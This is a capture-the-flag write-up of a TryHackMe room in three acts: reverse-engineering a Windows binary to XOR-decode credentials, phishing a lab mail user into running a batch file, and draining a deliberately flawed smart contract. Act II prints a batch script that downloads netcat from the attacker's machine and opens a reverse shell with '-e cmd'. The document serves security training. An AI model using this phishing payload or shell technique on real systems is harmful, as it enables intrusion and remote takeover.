TryHackMe: Hack Back
Hack Back started with reverse-engineering an executable file to discover an email address and a password. After that, we used these credentials to send a phishing email and obtain a shell. Lastly, we completed the room by hacking a smart contract.
Act I
We start with ACT I, where we are tasked with investigating a suspicious file to recover an email address and a password. For this, we are provided with credentials for a Windows machine.
Using RDP to get a session on the machine, we locate the suspicious file at C:\Users\Administrator\simpleServer.exe
, along with a batch script that runs it.
To transfer the executable to our machine, we start an SMB server using impacket-smbserver
.
1
$ impacket-smbserver share . -smb2support -user jxf -pass jxf
After that, we copy the executable from the target to our share.
1
2
3
4
5
6
C:\Users\Administrator>net use \\10.11.72.22\share /user:jxf jxf
The command completed successfully.
C:\Users\Administrator>copy simpleServer.exe \\10.11.72.22\share\simpleServer.exe
1 file(s) copied.
Opening the executable in Ghidra, we find the main function as FUN_140001b10
.
Examining it, we see that it binds to port 1337
on all interfaces, waits to receive a connection, and when it receives a connection, it reads a command from it, prints it, and then calls FUN_140001980
with the received command.
In the FUN_140001980
function, we see a switch case for all the available commands received.
Since we are after an email address, let’s check the FUN_1400017e0
function to see what the application does when it receives the email
command.
First, we see it calling the FUN_140001640
function with two strings: g`ww|g`dwv+ljf
and umlvm`wEg`ww|g`dwv+ljf
.
In the FUN_140001640
function, we see that it simply XOR decrypts the passed string using 0x05
as the key and returns the result.
Decrypting the strings passed to the function in the same way using Python
, we are able to obtain a domain name along with an email address.
1
2
3
4
5
6
$ python3
>>> from pwn import xor
>>> xor(b"g`ww|g`dwv+ljf", b"\x05")
b'berrybears.ioc'
>>> xor(b"umlvm`wEg`ww|g`dwv+ljf", b"\x05")
b'phisher@berrybears.ioc'
Now, going back to the FUN_1400017e0
function, after decrypting the domain name and email address, we see it first calling the FUN_1400012c0
function with the decrypted domain name
, 143
, and the decrypted email address
. After that, it calls the same function again, with the only difference being that the third parameter is 4hQm6I66qME}5w$
instead of the email address.
In the FUN_1400012c0
function, we see that it simply connects to the domain passed as the first argument on the port specified in the second argument and sends the data passed in the third argument.
If we add berrybears.ioc
to the C:\Windows\System32\drivers\etc\hosts
file on the target to resolve to our machine’s IP address, then run simpleServer.exe
and send the email
command, we can observe this functionality in action as follows:
1
2
3
4
5
6
7
8
$ ncat -lvnkp 143
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:143
Ncat: Listening on 0.0.0.0:143
Ncat: Connection from 10.10.199.18:49848.
phisher@berrybears.ioc
Ncat: Connection from 10.10.199.18:49849.
4hQm6I66qME}5w$
At this point, we have the email address; however, we are still missing the password, as 4hQm6I66qME}5w$
is not accepted. We also observed that both the domain name and the email were XOR‘ed with 0x05
before being used, while the 4hQm6I66qME}5w$
string was not. So, we try XOR‘ing it the same way as the other strings, which works, and we discover the password, completing ACT I.
1
2
>>> xor(b"4hQm6I66qME}5w$", b"\x05")
b'1mTh3L33tH@x0r!'
Act II
We begin the second act with an nmap
scan against the target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.53.24
...
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
...
80/tcp open http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/7.4.29)
...
110/tcp open pop3 hMailServer pop3d
...
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
...
443/tcp open ssl/http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/7.4.29)
...
445/tcp open microsoft-ds?
587/tcp open smtp hMailServer smtpd
...
3306/tcp open mysql MySQL 5.5.5-10.4.24-MariaDB
...
3389/tcp open ms-wbt-server Microsoft Terminal Services
...
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
...
Service Info: Host: FISHER; OS: Windows; CPE: cpe:/o:microsoft:windows
While there are many ports open, the important ones are:
- 25 (
SMTP
) - 80 (
HTTP
) - 110 (
POP3
) - 139/445 (
SMB
) - 143 (
IMAP
) - 443 (
HTTPS
) - 547 (
SMTPS
) - 3306 (
MYSQL
) - 3389 (
RDP
) - 5985 (
WINRM
)
Visiting the HTTP server at http://10.10.53.24/
, we encounter a page displaying a ransomware note.
Fuzzing the web server for directories, we discover two interesting ones: /mail
and /rc
.
1
2
3
4
$ ffuf -u 'http://10.10.53.24/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -mc all -t 100 -ic -fc 404
...
mail [Status: 301, Size: 334, Words: 22, Lines: 10, Duration: 149ms]
rc [Status: 301, Size: 332, Words: 22, Lines: 10, Duration: 223ms]
At http://10.10.53.24/mail/
, we find a RainLoop installation.
And at http://10.10.53.24/rc/
, we find a Roundcube installation.
From the previous task, we already have an email address and a password. We can choose either of the webmail applications to log in with those credentials to read the user’s mail.
After logging in, we find a single email from boss@berrybears.ioc
, asking for a key.
Interestingly, if we send an email to the boss@berrybears.ioc
user, we receive a reply shortly afterward stating that they did not find the key.
Next, if we send an email with an attachment, we receive a reply saying, “Let me have a look!”.
So, the boss@berrybears.ioc
might be downloading and running our attachments. We can test this by simply sending a batch script that makes a request to our server.
First, we create our batch script as follows:
1
2
@echo off
powershell curl http://10.11.72.22/test
Now, after sending an email with the batch script as an attachment, we see a hit on our web server after some time, confirming that the user ran our attachment.
1
2
3
4
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.53.24 - - [10/Nov/2024 04:29:12] code 404, message File not found
10.10.53.24 - - [10/Nov/2024 04:29:12] "GET /test HTTP/1.1" 404 -
To get a reverse shell using this method, we can simply create another batch script that downloads netcat
to the machine and uses it to send a shell to our machine.
1
2
3
@echo off
powershell curl http://10.11.72.22/nc64.exe -o C:\Windows\Temp\nc64.exe
C:\Windows\Temp\nc64.exe 10.11.72.22 443 -e cmd
Once again, we send another email, this time attaching the rev.bat
file.
After some time, we see a request made to our web server for nc64.exe
.
1
10.10.53.24 - - [10/Nov/2024 04:34:07] "GET /nc64.exe HTTP/1.1" 200 -
And we get a shell in our listener as Administrator
and can read the flag at C:\Users\Administrator\Desktop\root.txt
.
1
2
3
4
5
6
7
8
9
10
11
$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.72.22] from (UNKNOWN) [10.10.53.24] 50188
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
fisher\administrator
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
THM{[REDACTED]}
Act III
For the final act, we are tasked with hacking a smart contract.
Visiting http://10.10.15.184/
, we find the source code for the contract along with all the information needed to interact with it.
The contract is fairly simple. When it is deployed, it sets the balance for the address that deployed the contract to 1000 and to solve the challenge, we need to make the balance for the owner equal to 0.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract Challenge {
mapping(address => uint256) public balances;
bool public you_solved_it = false;
address public owner;
constructor() {
owner = msg.sender;
balances[owner] = 1000;
}
...
function isSolved() external view returns (bool) {
//return you_solved_it;
return (balances[owner] == 0);
}
}
To achieve this goal, we can utilize the transfer
function, which transfers the amount specified by the amount
parameter from the owner’s balance to the one calling the function.
However, there is one caveat: the if (keccak256(abi.encodePacked("ZI^ZI^U_MJI")) == keccak256(decode(strBytes, 44)))
check.
This check hashes the string ZI^ZI^U_MJI
and compares it to the hash of the return value from the decode
function, which is called with the user-passed data
argument (converted to bytes) and 44
as the second argument.
1
2
3
4
5
6
7
8
9
10
11
12
function transfer(string memory data, uint256 amount) external returns (bool out) {
bytes memory strBytes = bytes(data);
if (keccak256(abi.encodePacked("ZI^ZI^U_MJI")) == keccak256(decode(strBytes, 44))) {
you_solved_it = true;
require(balances[owner] >= amount, "Insufficient balance");
balances[owner] -= amount;
balances[msg.sender] += amount;
return true;
}
return false;
}
Checking the decode
function, we see it perform a XOR
operation on the first argument passed using the second argument as the key and returns the result.
1
2
3
4
5
6
7
function decode(bytes memory data, uint8 key) public pure returns (bytes memory) {
bytes memory result = new bytes(data.length);
for (uint256 i = 0; i < data.length; i++) {
result[i] = bytes1(uint8(data[i]) ^ key);
}
return result;
}
To pass this check, all we need to do is call the transfer
function with a data
argument equal to ZI^ZI^U_MJI
after being XOR‘ed with 44
. Since the XOR operation is reversible, we can find this value as ververysafe
by XOR‘ing ZI^ZI^U_MJI
with 44
.
1
2
3
4
$ python3
>>> from pwn import xor
>>> xor(b"ZI^ZI^U_MJI", int.to_bytes(44))
b'ververysafe'
Now, to solve the challenge, all we need to do is call the transfer
function with ververysafe
as the first argument to pass the check, and 1000
as the second argument to make the owner’s balance 0
.
We can use the cast
tool from the Foundry
framework to do this as follows:
1
$ cast send --legacy --rpc-url http://10.10.15.184:8545 --private-key 0x58265bb40a901122e46b9ab474b0a05988370be16c564820f647c6fdc6de4af6 0xf22cB0Ca047e88AC996c17683Cee290518093574 'transfer(string memory data, uint256 amount)' 'ververysafe' 1000
After this, we return to http://10.10.15.184/
and click the Get Flag
button to receive the flag for the challenge and complete the room.